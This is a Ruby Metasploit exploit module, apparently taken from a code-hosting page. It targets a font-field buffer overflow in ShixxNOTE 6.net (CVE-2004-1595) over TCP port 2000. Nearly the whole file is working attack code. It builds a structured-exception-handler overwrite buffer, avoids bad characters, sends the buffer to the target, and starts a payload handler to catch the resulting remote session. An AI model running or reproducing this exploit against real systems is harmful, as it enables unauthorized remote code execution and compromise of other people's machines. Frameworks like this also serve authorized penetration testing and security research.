78 lines
1.6 KiB
Ruby
78 lines
1.6 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::Misc::Shixxnote_font < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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include Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ShixxNOTE 6.net Font Field Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in ShixxNOTE 6.net.
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The vulnerability is caused due to boundary errors in the
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handling of font fields.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 1.0 $',
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'References' =>
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[
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['CVE', '2004-1595'], ['BID', '11409'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 650,
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'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'October 4 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(2000)
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], self.class)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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sploit = Rex::Text.rand_text_alpha_upper(8, payload_badchars)
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sploit += "~~"
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sploit += Rex::Text.rand_text_alpha_upper(118, payload_badchars)
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seh = generate_seh_payload(target.ret)
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sploit[112, seh.length] = seh
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sploit += Rex::Text.rand_text_alpha_upper(200, payload_badchars)
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sploit += "~" * 10
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sock.put(sploit)
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handler
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disconnect
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end
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end
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end
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